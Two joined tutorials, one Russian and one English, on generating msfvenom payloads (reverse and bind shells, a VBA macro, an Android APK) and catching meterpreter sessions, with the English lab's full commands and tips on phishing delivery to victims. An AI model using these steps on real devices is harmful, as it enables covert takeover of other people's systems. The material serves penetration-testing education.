- О создании пэйлоадов для разных платформ с помощью msfvenom
- Предварительные требования
- Организация Bind Shell-подключения
- Организация Reverse Shell-подключения
- Организация Reverse HTTPS-подключения
- Скрытое Bind Shell-подключение
- Reverse Shell-подключение с помощью Netcat
- Пэйлоады-макросы на VBA
- VNC-пэйлоад
- Пэйлоад для Android
- Пэйлоад для Linux
- Пэйлоад для PowerShell
- Итоги
- Lab: Hacking an android device with MSFvenom [updated 2020]
- The walkthrough
- Move back to Kali Linux
- Glossary
О создании пэйлоадов для разных платформ с помощью msfvenom
«Голова — лучший антивирус», — эта идея никогда не потеряет актуальности. Для того, чтобы эффективно бороться с компьютерными угрозами, надо знать своих врагов. Среди таких врагов — программы, которые позволяют незаметно подключаться к компьютеру и выполнять с ним некие действия, проще говоря, софт для взлома систем. Полагаем, знание того, как создают подобный софт, хотя бы на базовом уровне, понимание того, как он работает, полезно любому, кого волнуют вопросы компьютерной безопасности. Кроме того, такой софт можно использовать для проверки защищённости собственных систем.
Предварительные требования
Для того, чтобы попробовать то, о чём пойдёт речь, на практике, вам понадобится компьютер с установленной на нём Kali Linux, компьютеры под управлением Windows и Linux, Android-смартфон. В процессе работы, при составлении команд, мы будем пользоваться следующими ключами:
- Lhost — IP-адрес компьютера, на котором установлена Kali, то есть — нашей рабочей машины.
- Lport — порт, который назначен серверу — программе, которая «слушает» сеть и ожидает подключения от клиента.
- P — сокращение от «payload», пэйлоад для выбранной платформы
- F — ключ, задающий тип файла, например, exe для Windows, apk для Android, и так далее.
В терминале Kali введём команду msfvenom . Результаты её работы показаны ниже. А именно, будет выведен список всех доступных опций для создания пэйлоадов. Тут мы рассмотрим лишь некоторые из них.
Организация Bind Shell-подключения
Bind shell — это схема взаимодействия с удалённой консолью, при которой на целевом компьютере запускается сервис, к которому может подключиться атакующий. Фактически, речь идёт о прямом подключении к атакуемому компьютеру. Для того, чтобы создать соответствующий пэйлоад для Windows, нужно выполнить следующую команду в терминале:
В результате будет создан exe-файл, который будет сохранён по адресу, указанному при выполнении команды, а именно — это /root/Desktop/bind.exe . Полученный файл нужно каким-то образом доставить на компьютер жертвы и выполнить его. Например — воспользоваться методами социальной инженерии или выложить его на сервис обмена файлами.
Теперь запустим msfconsole и введём нижеприведённые команды для того, чтобы открыть сессию:
После выполнения файла в нашем распоряжении окажется meterpreter-подключение к целевому компьютеру:
Использованная здесь опция bind_tcp полезна в тех случаях, когда мы отключаемся от компьютера жертвы, но он при этом ещё работает. Мы можем выполнить ту же команду и подключиться снова, при этом не нужно, чтобы эксплойт снова запускали на удалённом компьютере.
Организация Reverse Shell-подключения
Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером, обратная вышеописанной. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.
Для того, чтобы создать соответствующую полезную нагрузку, нужно ввести в терминале Kali следующую команду:
В данном случае мы включаем в команду некоторые новые параметры, такие, как lhost (локальный хост), lport (локальный порт) для того, чтобы принять обратное соединение от компьютера жертвы.
После того, как пэйлоад создан, отправлен на атакуемый компьютер и выполнен там, мы переходим ко второму шагу атаки. Запустим msfconsole и введём следующие команды для того, чтобы организовать подключение удалённого компьютера к нашей машине.
На нижеприведённом рисунке видно, что после того, как жертва запустит пэйлоад, выполняется обратное подключение к нашему компьютеру и у нас оказывается сессия meterpreter .
Организация Reverse HTTPS-подключения
Обратите внимание на то, что обе вышеописанные атаки осуществимы в том случаем, если на машине жертвы имеются подходящие работающие порты. Сейчас мы попытаемся найти выход из ситуации, когда на интересующем нас компьютере порты заблокированы. В подобном случае можно сориентироваться в ситуации и создать пэйлоад, например, воспользовавшись портом 443 для HTTPS. Для этого нужно ввести в терминале Kali следующую команду:
После создания пэйлоада и отправки его жертве, которая, как ожидается, рано или поздно запустит соответствующий файл, мы переходим к следующему шагу. Запускаем msfconsole и вводим следующие команды для организации подключения:
Как видно на следующем рисунке, после того, как пэйлоад будет запущен на целевом компьютере, происходит обратное подключение к нашему компьютеру и мы можем пользоваться возможностями сессии meterpreter.
Скрытое Bind Shell-подключение
Исследуем ещё одну возможность msfvenom и попытаемся с её помощью обрести контроль над удалённым компьютером. В этот раз мы хотим заполучить доступ к командной оболочке, а не к сессии meterpreter.
Пэйлоад, который мы создадим нижеприведённой командой, после выполнения, прячется в системе, его нельзя обнаружить сканером портов.
После того, как файл готов и отправлен жертве, мы можем перейти к следующему шагу. А именно, воспользуемся Netcat, введя в терминале Kali следующую команду:
Reverse Shell-подключение с помощью Netcat
Теперь рассмотрим ещё один подход к использованию пэйлоадов типа shell_reverse_tcp , которые позволяют получить доступ к оболочке командной строки атакуемого компьютера. Введём в терминале Kali следующую команду:
После создания файла и отправки его на атакуемый компьютер, создадим прослушиватель порта с использованием netcat :
При условии, что наш пэйлоад был успешно выполнен на удалённом компьютере, ниже показано то, как выглядит подключение к нему.
Пэйлоады-макросы на VBA
Создадим пэйлоад в виде VBA-скрипта, который будем использовать в качестве макроса MS Excel для атаки на целевую машину. Для того, чтобы это сделать, выполним следующую команду в терминале Kali:
После выполнения команды, нужно скопировать то, что выделено на рисунке выше, от #if vba 7 до End if . Далее, откроем файл MS Excel, нажмём Alt+F11 для вызова окна управления макросами.
Тут введём имя макроса и нажмём на кнопку Create . Макрос мы хотим сохранить в открытой книге, поэтому в соответствующем выпадающем списке надо выбрать This Workbook .
После этого надо вставить в редакторе VBA ранее скопированный код пэйлоада, закрыть редактор и включить макросы.
Теперь можно заполнить Excel-файл какими-нибудь правдоподобно выглядящими данными, в нашем случае — это просто слово Test , сохранить и отправить жертве. Для организации подключения к удалённому компьютеру нужно открыть терминал Kali, выполнить команду msfconsole , после чего ввести следующие команды:
Когда Excel-файл будет открыт на интересующем нас компьютере, жертве будет предложено включить макросы. После их включения выполнится VBA-скрипт, который создаст обратное подключение к удалённому компьютеру. Выглядеть это будет так, как показано ниже.
VNC-пэйлоад
Хотя и неприлично, без ведома человека, наблюдать за тем, что он делает за компьютером, тот пэйлоад, который мы создадим сейчас, занимается именно этим. Откроем терминал Kali и введём следующую команду:
После создания пэйлоада мы, как обычно, отправляем его жертве, после чего начинаем готовиться к подключению. Для этого вызываем в терминале команду msfconsole и делаем следующее:
Тут можно видеть, что выполнена VNC-инъекция, что установлено удалённое соединение. Так же на компьютере под управлением Kali откроется окно Remote Desktop.
Пэйлоад для Android
Взлом мобильных устройств всегда привлекал к себе немалое внимание, поэтому рассмотрим методику создания пэйлоадов для платформы Android. Откроем терминал Kali и введём следующую команду:
После подготовки apk-файла его нужно передать на интересующее нас мобильное устройство. Затем нужно подготовиться к подключению на Kali:
После того, как пэйлоад будет запущен, в нашем распоряжении будет сессия meterpreter и мы сможем взаимодействовать со взломанным телефоном.
Пэйлоад для Linux
Откроем терминал Kali и введём следующую команду:
После создания файла его нужно отправить на компьютер жертвы и подготовиться к подключению:
После выполнения пэйлоада будет создано обратное TCP-подключение к нашему компьютеру, которое предоставит в наше распоряжение сессию meterpreter.
Пэйлоад для PowerShell
Для того, чтобы создать пэйлоад для PowerShell, откроем терминал Kali и введём следующую команду:
Теперь, как обычно, после создания пэйлоада, передадим его на интересующий нас компьютер и подготовимся принять подключение:
После запуска пэйлоад создаст обратное подключение к оболочке. Выглядит это так, как показано ниже.
Итоги
Как видите, с использованием msfvenom очень просто создавать программы, предназначенные для удалённого подключения к самым разным системам. То, что это доступно даже пользователям с минимальной подготовкой, придаёт особую актуальность правилу, которое знают все, но далеко не все соблюдают: «Не открывайте файлы, в происхождении которых сомневаетесь».
Уважаемые читатели! Известны ли вам случаи взлома систем с использованием пэйлоадов, похожих на те, о которых мы сегодня говорили?
Источник
Lab: Hacking an android device with MSFvenom [updated 2020]
In this lab, we are going to learn how you can hack an android mobile device using MSFvenom and the Metasploit framework. We will use MSFvenom for generating the payload, save it as an .apk file and set up a listener to the Metasploit framework. Once the user/victim downloads and install the malicious .apk, an attacker can easily get back the session on Metasploit. To accomplish this, an attacker needs to do some social engineering to install the .apk on the victim’s mobile device.
We will demonstrate this by using the following tools
- Kali Linux
- Android device/emulator
- Zipalign
- VMware or VirtualBox (virtual environment)
Once the following setup is confirmed without error, then we are ready.
NOTE: This lab is for education purposes only. The author and/or Infosec are not responsible for any illegal activity performed by the user. Kindly type commands instead of copy/paste in order to replicate the lab.
In this lab, we are using Kali Linux and an Android device to perform mobile penetration testing. Kali Linux is one of the Debian-based operating systems with several tools aimed at various information security tasks such as penetration testing, forensics and reverse engineering. Kali Linux is one of the most-used operating systems for penetration testing.
Android Emulator is used as an Android device on which penetration testing tasks can be performed (if you don’t have an actual Android device).
Virtual machines Needed: Kali Linux and Android Emulator VM
The walkthrough
Step 1: Starting Kali Linux
- From your VM, start Kali Linux and log in with root/toor (user ID/password)
- Open a terminal prompt and make an exploit for the Android emulator using the MSFvenom tool
Before we start, let’s talk about MSFvenom. It is a combination of MSFpayload and MSFencode. These tools are extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules.
Merging these two tools into a single tool just makes sense. It standardizes the command-line options, speeds things up a bit by using a single framework instance and handles all possible output formats. MSFvenom is used to make a payload to penetrate the Android emulator.
By using MSFvenom, we create a payload .apk file. For this, we use the following command:
Terminal: msfvenom –p android/meterpreter/reverse_tcp LHOST=Localhost IP LPORT=LocalPort R > android_shell.apk
Figure 1: MSFvenom payload [CLICK IMAGES TO ENLARGE]
- -p — Payload to be used
- LHOST — Localhost IP to receive a back connection (Check yours with ifconfig command)
- LPORT — Localhost port on which the connection listen for the victim (we set it to 4444)
- R — Raw format (we select .apk)
- Location — To save the file
Note: In this command, we have used the local address because we are demonstrating in the local environment. To perform in the public network, you should enter your public address in LHOST and enable port forwarding on the router.
After this command, now you can locate your file on the desktop with the name android_shell.apk.
Figure 2: APK file created successfully
After we successfully created the .apk file, we need to sign a certificate because Android mobile devices are not allowed to install apps without the appropriately signed certificate. Android devices only install signed .apk files.
We need to sign the .apk file manually in Kali Linux using:
- Keytool (preinstalled)
- jar signer (preinstalled)
- zipalign (need to install)
To sign the .apk file locally, use these commands:
Terminal: keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize 2048 -validity 10000
Figure 3: Keytool making keystore
Terminal: jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android_shell.apk hacked
Figure 4: Signing a .apk file with JARsigner
Terminal: jarsigner -verify -verbose -certs android_shell.apk
Figure 5: Verifying the .apk using JARsigner
Zipalign is not preinstalled in Kali Linux, so you will have to install it first.
Figure 6: Installing Zipalign
Terminal: zipalign -v 4 android_shell.apk singed_jar.apk
Figure 7: Verifying the .apk into a new file using Zipalign
Now we have signed our android_shell.apk file successfully and it can be run on any Android environment. Our new filename is singed_jar.apk after the verification with Zipalign.
Figure 8: Malicious .apk file ready to install
Step 2: is to set up the listener on the Kali Linux machine with multi/handler payload using Metasploit.
Terminal: msfconsole
Figure 9: Starting Metasploit
Metasploit begins with the console.
Figure 10: Display Metasploit start screen
Now launch the exploit multi/handler and use the Android payload to listen to the clients.
Terminal: use exploit/multi/handler
Figure 11: Setting up the exploit
Next, set the options for payload, listener IP (LHOST) and listener PORT(LPORT). We have used localhost IP, port number 4444 and payload android/meterpreter/reverse_tcp while creating an .apk file with MSFvenom.
Figure 12: Setting up the exploit
Then we can successfully run the exploit to listen for the reverse connection.
Terminal: run
Figure 13: Executing the exploit
Next, we need to install the malicious Android .apk file to the victim mobile device. In our environment, we are using an Android device version 8.1 (Oreo). Attacker can share a malicious Android .apk to the victim with the help of social engineering/email phishing.
Now it is time to quickly set up the Android emulator (if you don’t have an Android device).
Steps to configure the Android emulator:
- Download the image file for the Android x86 code project from the Google Code projects site (https://code.google.com/archive/p/android-x86/downloads)
- Create a virtual machine using another version 2.6x kernel in the VMware workstation
- Mount the ISO file into VMware options
- Finish the process and run the machine in LIVE mode
- Set up the Android device
- Set up the Google account
Note: Android x86 project can connect it to a local network with an Ethernet adapter (VMnet8). If you are using another emulator to penetrate the Android device, you can also use a CLI Android emulator.
After setting up the Android emulator in VM, we are going to download the file from cloud link we have created on Kali Linux and emailed to the victim account.
Figure 14: Spam email
Download the singed_jar.apk file and install it with “unknown resources allowed” on the Android device.
Figure 15: Downloaded the file into an Android device
Then run and install the .apk file.
Figure 16: Installing the application into an Android device
After complete installation, we are going back to the Kali machine and start the Meterpreter session.
Move back to Kali Linux
We already started the multi/handler exploit to listen on port 4444 and local IP address. Open up the multi/handler terminal.
Figure 17: Successfully got the Meterpreter session
Bingo! We got the Meterpreter session of the Android device. We can check more details with the sysinfo command, as mentioned in the below screenshot.
Figure 18: Display system details
There are lots of commands available in Meterpreter. By using the “?” help command, you will see more options that we can perform with an Android device. We have successfully penetrated the Android device using Kali Linux and penetration testing tools.
You can also perform this attack on the public network, using a public IP address and a port-forwarding router.
Let’s quickly look at some tips which prevent these types of attack.
- Don’t allow downloading any apps from cloud websites
- Don’t install apps with an unknown resources enabled option
- Use antivirus in a mobile device
- Don’t click any random links
- Never download an unwanted .doc, PDF or .apk file from unknown source
- Always confirm with the source of the file to be doubly sure
Glossary
Exploit (noun): Malicious code to exploit a vulnerability
Exploit (verb): To carry out or use malicious code to exploit a vulnerability
LHOST: A local host where you need to get session after payload execution
LPORT: Local port where you want the session
Payload: An activity to perform after successful exploit execution
RHOST: Remote host or target host
RPORT: Remote port or target port number
Источник